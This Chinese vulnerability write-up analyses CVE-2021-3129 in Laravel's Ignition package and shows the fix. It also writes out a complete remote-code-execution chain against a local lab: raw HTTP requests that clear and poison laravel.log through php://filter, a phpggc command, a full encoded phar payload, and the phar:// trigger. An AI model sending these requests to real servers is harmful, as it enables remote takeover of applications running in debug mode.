本文分享自华为云社区《CVE-2021-3129 分析》,作者:Xuuuu 。

CVE-2021-3129

  • Tag: [[php phar]] | [[php deserialize]]

Env搭建

VulEnv/laravel/cve_2021_3129 at master · XuCcc/VulEnv

Source 分析

根据描述,本质上是由于 facade/ignition 引入的问题,直接查看 ignition 的 commit 记录[^1] 看到 \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution 添加了一个安全过滤函数 isSafePath

// \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::makeOptionalpublic function makeOptional(array $parameters = [])
{$originalContents = file_get_contents($parameters['viewFile']);$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);$originalTokens = token_get_all(Blade::compileString($originalContents));$newTokens = token_get_all(Blade::compileString($newContents));$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);if ($expectedTokens !== $newTokens) {return false;}return $newContents;
}

发现危险函数 file_get_contents ,跟踪函数调用栈

  • \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::makeOptional
  • \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::run
  • \Facade\Ignition\Http\Controllers\ExecuteSolutionController::__invoke
  • \Facade\Ignition\IgnitionServiceProvider::registerHousekeepingRoutes
    参数 $parameters['viewFile'] 无过滤,通过 execute-solution 路由可以进行触发,结合官方文档[^2] 可知,在执行 solution 操作时将走到 source 处。

Poc 编写

启动环境后,就出现了一个 igition 的错误修复界面,点击 Generate app key 抓包

POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8000
Content-Length: 82
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://localhost:8000
Referer: http://localhost:8000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close{"solution":"Facade\\Ignition\\Solutions\\GenerateAppKeySolution","parameters":[]}

然后修改参数 solution 修改为 MakeViewVariableOptionalSolution 指定 solution

POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8000
Content-Length: 163
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://localhost:8000
Referer: http://localhost:8000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters": {"variableName": "sxv","viewFile": "asdfasdf"}
}
HTTP/1.1 500 Internal Server Error
Host: localhost:8000
Date: Tue, 15 Mar 2022 08:00:15 GMT
Connection: close
X-Powered-By: PHP/7.3.21
Cache-Control: no-cache, private
Date: Tue, 15 Mar 2022 08:00:15 GMT
Content-Type: application/json{"message": "file_get_contents(asdfasdf): failed to open stream: No such file or directory",...
}

500 则代表存在漏洞。

EXP 编写

当存在上传点时,直接上传 phar 文件进行反序列化即可,直接快进到第四步触发反序列化

利用思路

无上传点可利用时,我们可以操控 ../storage/logs/laravel.log 日志文件,配合 php://filter的特性来构建 phar 文件,执行反序列化。

  1. 清空日志文件
{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters": {"variableName": "sxv","viewFile": "php://filter/read=consumed/resource=../storage/logs/laravel.log"}
}
  1. 写入合法 phar 文件
[2022-03-08 09:09:26] local.ERROR: file_get_contents(AA): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(AA): failed to open stream: No such file or directory at C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', 'C:\\\\Users\\\\xu...', 75, Array)
#1 C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php(75): file_get_contents('AA')
........
#41 {main}
"}

其中传入的 payload 出现位置

...
[padding] file_get_contents($payload) [padding] file_get_contents($payload)
...
[padding] file_get_contents('$payload[:15]') # 部分payload

由于 [[php phar#文件结构]] 特性,文件前后允许脏数据存在,所以思路为

构造phar文件,将phar文件经过编码后写入log文件,再通过 php://filter 特性还原phar文件,最后通过 phar://触发

编码特性

  • base64解码

    • 不符合 base64 标准的字符将被忽略 然后继续解码
  • utf16 -> utf8
    • utf16 用两字节表示一个字符, 需要双字节对齐
  • quoted-printable 邮件编码
    • 将 \0 编码为 =00
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-encode');
stream_filter_append($fp, 'convert.iconv.utf-8.utf-16le');
stream_filter_append($fp, 'convert.quoted-printable-encode');
fwrite($fp, "POCCCCCCCCCCCCC");
fclose($fp);
// U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-decode');
stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');
//stream_filter_append($fp, 'convert.base64-decode');
fwrite($fp, "AACCU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00CCAA");
fclose($fp);
// 䅁䍃UE9DQ0NDQ0NDQ0NDQ0ND䍃䅁$fp = fopen('php://output', 'w');
//stream_filter_append($fp, 'convert.quoted-printable-decode');
//stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');
stream_filter_append($fp, 'convert.base64-decode');
fwrite($fp, "䅁䍃UE9DQ0NDQ0NDQ0NDQ0ND䍃䅁");
fclose($fp);
// POCCCCCCCCCCCCC?>

发送

// Step 1
"U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00"
// Step 2
"php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"

解码报错 file_get_contents(): stream filter (convert.quoted-printable-decode): invalid byte sequence 观察日志文件

[2022-03-10 07:02:55] local.ERROR: file_get_contents(U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00): failed to open stream: No such file or directory at C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', 'C:\\\\Users\\\\xu...', 75, Array)
#1 C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php(75): file_get_contents('U=00E=009=00D=0...')

断定由于 U=00E=009=00D=0... 处被截断导致 quoted-printable 解码报错,第三处位置只显示前15个字符,所以可以通过 'A' * 15进行填充,发送
AAAAAAAAAAAAAAAU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00
解码后得到 POCCCCCCCCCCCCCPOCCCCCCCCCCCCC 出现了两次 payload ,初步符合我们的要求,能够自由控制 storage.log 内容。

那出现两次的 payload 如何解决呢?如果出现两次 payload 或者出现部分残留的base64编码允许的字符将影响后续的base64解码。 可以通过在前后通过加填充字符的方式来调整 payload 的第一个字符下标为奇数 or 偶数,从而影响 utf16->utf8 的解码,来使得最终只出现一次 payload

例如发送 'A' * 16
AAAAAAAAAAAAAAAAU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00
解码后成功得到 POCCCCCCCCCCCCC

phar 生成

利用 phpgcc [^3] 生成 phar 文件

> php -d 'phar.readonly=0' ./phpggc Laravel/RCE5 "phpinfo();" -p phar -o poc.phar
> php -r "echo file_get_contents('php://filter/read=convert.base64-encode|convert.iconv.utf-8.utf-16le|convert.quote
d-printable-encode/resource=poc.phar');"
P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00...
N=00b=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00=3D=00

完整利用

  1. 清空日志
POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8000
Content-Length: 196
Accept: application/json
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://localhost:8000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters": {"variableName": "sxv","viewFile": "php://filter/read=consumed/resource=../storage/logs/laravel.log"}
}
  1. 发送 phar 文件
POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8000
Content-Length: 3222
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://localhost:8000
Referer: http://localhost:8000/?XDEBUG_SESSION_START=16187
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters": {"variableName": "sxv","viewFile": "AAAAAAAAAAAAAAAP=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00r=00+=00A=00Q=00A=00A=00A=00Q=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00D=00I=00A=00Q=00A=00A=00T=00z=00o=000=00M=00D=00o=00i=00S=00W=00x=00s=00d=00W=001=00p=00b=00m=00F=000=00Z=00V=00x=00C=00c=00m=009=00h=00Z=00G=00N=00h=00c=003=00R=00p=00b=00m=00d=00c=00U=00G=00V=00u=00Z=00G=00l=00u=00Z=000=00J=00y=00b=002=00F=00k=00Y=002=00F=00z=00d=00C=00I=006=00M=00j=00p=007=00c=00z=00o=005=00O=00i=00I=00A=00K=00g=00B=00l=00d=00m=00V=00u=00d=00H=00M=00i=00O=000=008=006=00M=00j=00U=006=00I=00k=00l=00s=00b=00H=00V=00t=00a=00W=005=00h=00d=00G=00V=00c=00Q=00n=00V=00z=00X=00E=00R=00p=00c=003=00B=00h=00d=00G=00N=00o=00Z=00X=00I=00i=00O=00j=00E=006=00e=003=00M=006=00M=00T=00Y=006=00I=00g=00A=00q=00A=00H=00F=001=00Z=00X=00V=00l=00U=00m=00V=00z=00b=002=00x=002=00Z=00X=00I=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=000=008=006=00M=00j=00U=006=00I=00k=001=00v=00Y=002=00t=00l=00c=00n=00l=00c=00T=00G=009=00h=00Z=00G=00V=00y=00X=00E=00V=002=00Y=00W=00x=00M=00b=002=00F=00k=00Z=00X=00I=00i=00O=00j=00A=006=00e=003=001=00p=00O=00j=00E=007=00c=00z=00o=000=00O=00i=00J=00s=00b=002=00F=00k=00I=00j=00t=009=00f=00X=00M=006=00O=00D=00o=00i=00A=00C=00o=00A=00Z=00X=00Z=00l=00b=00n=00Q=00i=00O=000=008=006=00M=00z=00g=006=00I=00k=00l=00s=00b=00H=00V=00t=00a=00W=005=00h=00d=00G=00V=00c=00Q=00n=00J=00v=00Y=00W=00R=00j=00Y=00X=00N=000=00a=00W=005=00n=00X=00E=00J=00y=00b=002=00F=00k=00Y=002=00F=00z=00d=00E=00V=002=00Z=00W=005=000=00I=00j=00o=00x=00O=00n=00t=00z=00O=00j=00E=00w=00O=00i=00J=00j=00b=002=005=00u=00Z=00W=00N=000=00a=00W=009=00u=00I=00j=00t=00P=00O=00j=00M=00y=00O=00i=00J=00N=00b=002=00N=00r=00Z=00X=00J=005=00X=00E=00d=00l=00b=00m=00V=00y=00Y=00X=00R=00v=00c=00l=00x=00N=00b=002=00N=00r=00R=00G=00V=00m=00a=00W=005=00p=00d=00G=00l=00v=00b=00i=00I=006=00M=00j=00p=007=00c=00z=00o=005=00O=00i=00I=00A=00K=00g=00B=00j=00b=002=005=00m=00a=00W=00c=00i=00O=000=008=006=00M=00z=00U=006=00I=00k=001=00v=00Y=002=00t=00l=00c=00n=00l=00c=00R=002=00V=00u=00Z=00X=00J=00h=00d=00G=009=00y=00X=00E=001=00v=00Y=002=00t=00D=00b=002=005=00m=00a=00W=00d=001=00c=00m=00F=000=00a=00W=009=00u=00I=00j=00o=00x=00O=00n=00t=00z=00O=00j=00c=006=00I=00g=00A=00q=00A=00G=005=00h=00b=00W=00U=00i=00O=003=00M=006=00N=00z=00o=00i=00Y=00W=00J=00j=00Z=00G=00V=00m=00Z=00y=00I=007=00f=00X=00M=006=00N=00z=00o=00i=00A=00C=00o=00A=00Y=002=009=00k=00Z=00S=00I=007=00c=00z=00o=00y=00N=00T=00o=00i=00P=00D=009=00w=00a=00H=00A=00g=00c=00G=00h=00w=00a=00W=005=00m=00b=00y=00g=00p=00O=00y=00B=00l=00e=00G=00l=000=00O=00y=00A=00/=00P=00i=00I=007=00f=00X=001=009=00C=00A=00A=00A=00A=00H=00R=00l=00c=003=00Q=00u=00d=00H=00h=000=00B=00A=00A=00A=00A=00M=00R=00g=00K=00G=00I=00E=00A=00A=00A=00A=00D=00H=005=00/=002=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00d=00G=00V=00z=00d=00O=00/=00f=00e=004=00O=00w=00P=00Z=00E=00S=00E=00Q=00e=00a=00f=004=005=00A=00o=00i=00R=00J=00r=00g=00N=00b=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00=3D=00"}
}
  1. 还原 phar 文件
    此步骤可通过以下代码验证 phar 文件还原是否成功,或者通过http 200状态码判断
$fix = file_get_contents("php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log");
var_export($fix);
POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8000
Content-Length: 271
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://localhost:8000
Referer: http://localhost:8000/?XDEBUG_SESSION_START=16187
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters": {"variableName": "sxv","viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}
}
  1. 触发反序列化
POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8000
Content-Length: 167
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://localhost:8000
Referer: http://localhost:8000/?XDEBUG_SESSION_START=16187
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters": {"variableName": "sxv","viewFile": "phar://../storage/logs/laravel.log"}
}

Patch 修复

\Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::isSafePath 函数对$parameters['viewFile'] 进行了过滤,防止伪协议等。

protected function isSafePath(string $path): bool
{if (! Str::startsWith($path, ['/', './'])) {return false;}if (! Str::endsWith($path, '.blade.php')) {return false;}return true;
}

Reference

  • Laravel8 CVE-2021-3129 复现分析 - TARI TARI
  • Laravel Debug mode RCE(CVE-2021-3129)复现 - inHann的博客 | inHann’s Blog
  • Laravel Debug mode RCE(CVE-2021-3129)分析复现 - 先知社区

Footnote

[^1]: Comparing 2.5.1…2.5.2 · facade/ignition
[^2]: Security - Flare Docs
[^3]: ambionics/phpggc: PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.

文末福利:华为云漏洞扫描服务VSS 基础版限时免费体验>>>

点击关注,第一时间了解华为云新鲜技术~​

CVE-2021-3129:Laravel远程代码漏洞复现分析相关推荐

  1. webmin 远程代码漏洞复现

    漏洞简介 webmin是一款强大的Unix系统管理工具,在其版本为1.882到1.920存在CVE-2019-15107漏洞,当版本为1.890时,工具在默认配置下易受漏洞的威胁,而在其它版本当用户关 ...

  2. CVE-2015-1635-HTTP.SYS远程执行代码漏洞复现

    CVE-2015-1635-HTTP.SYS远程执行代码漏洞复现 一.漏洞描述 远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HT ...

  3. java 怎么通过url获取远程服务器上某个文件夹下的所有文件_JMX远程代码漏洞研究...

    前言: 前一段时间apace solr JMX因为配置不当出现远程代码执行漏洞,最近自己在看一套java系统时,发现该系统也存在JMX远程代码漏洞,于是乎就想研究下JMX这种通用型漏洞,下面我就从原理 ...

  4. Windows server2012 服务器修复CredSSP远程代码漏洞

    Windows server2012 服务器修复CredSSP远程代码漏洞 目录 Windows server2012 服务器修复CredSSP远程代码漏洞 前言 一.KB4103715等补丁下载 二 ...

  5. ecshop漏洞复现分析

    ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店.系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序. ecshop漏洞复现分析我看seebug上关于它的漏洞有好 ...

  6. 518PHP漏洞,ThinkPHP5 核心类 Request 远程代码漏洞分析

    漏洞介绍 2019年1月11日,ThinkPHP团队发布了一个补丁更新,修复了一处由于不安全的动态函数调用导致的远程代码执行漏洞.该漏洞危害程度非常高,默认条件下即可执行远程代码.启明星辰ADLab安 ...

  7. CVE-2015-1635(MS15-034)-HTTP.sys远程代码执行复现

    一.漏洞描述 HTTP协议栈(HTTP.sys)存在远程代码执行漏洞,是由于HTTP.sys不正确的解析HTTP请求引起的,成功利用此漏洞的攻击者可以执行系统账户上任意代码. 攻击者必须发送一个HTT ...

  8. 漏洞通告 | ​Apache Spark UI命令漏洞;Grails远程代码漏洞;Confluence Questions漏洞

    [漏洞通告]Apache Spark UI 命令注入漏洞 基础信息 CVE CVE-2022-33891 等级 高危 类型 命令注入 漏洞详情 Apache Spark是美国阿帕奇(Apache)软件 ...

  9. CVE-2019-0708 远程桌面漏洞复现

    9.7号凌晨一点多,开发者 @rapid7  在Github上放出了windows远程桌面服务RCE漏洞(CVE-2019-0708)的exp.一大早醒来,朋友圈就被各大公司安全预警给刷了屏,趁着上午 ...

最新文章

  1. 使用微信的JS-SDK实现自定义分享到微信朋友圈
  2. Windows 2008 R2 SP1部署Lync2010企业版(四)
  3. cs4 php,php dreamweaver cs4
  4. 打开mobilenet——ssd的demo.py显示这样的错误解决方法:Intel MKL FATAL ERROR: Cannot load libmkl_avx.so or libmkl_def.s
  5. Web服务安全性和SOA路线图的人为维度
  6. BPSK调制下(2,1,6)标准卷积码及打孔生成2/3、3/4、4/5、5/6删余码Viterbi译码误码率曲线图(MATLAB实现)
  7. PyCharm Python迁移项目
  8. 惹恼程序员的10件事
  9. 世界上最狠最毒的动物是什么?
  10. View如何设置16进制颜色值
  11. Java:集合,Map接口框架图
  12. 设计模式-第一篇之单例模式
  13. 例2.12 今年暑假不AC - 九度教程第22题(贪心算法)
  14. 3点画矩形的lisp_AutoCAD LISP矩形窗格绘制
  15. 兜兜转转 - 2019开启CSDN博客的新篇章
  16. Classic Shell不起作用(失效)的解决
  17. 瑞萨78K0单片的调试与使用(Minicube2)
  18. android+播放器+遥控,遥控大师安卓客户端
  19. android上传sd卡文件格式,Android开发学习:向模拟器的sdcard中添加文件
  20. 综合布线测试仪的测试方法与标准

热门文章

  1. (30)Gulp 文件操作
  2. (24)css3盒子阴影
  3. (9)<textarea>标签在mac环境下的问题
  4. jQuery源码分析 Sizzle选择器
  5. JSON语法之JSON 对象
  6. 修复IE下相对容器中绝对定位Bug
  7. linux iso作为安装源,linux下使用iso文件做为yum安装源
  8. python3调用c代码_在Python3.6中调用C代码
  9. android 框架_推荐一个更贴近 android 场景的启动框架 | Anchors
  10. 简述python常用的函数模块_Python中常用的Python time模块常用函数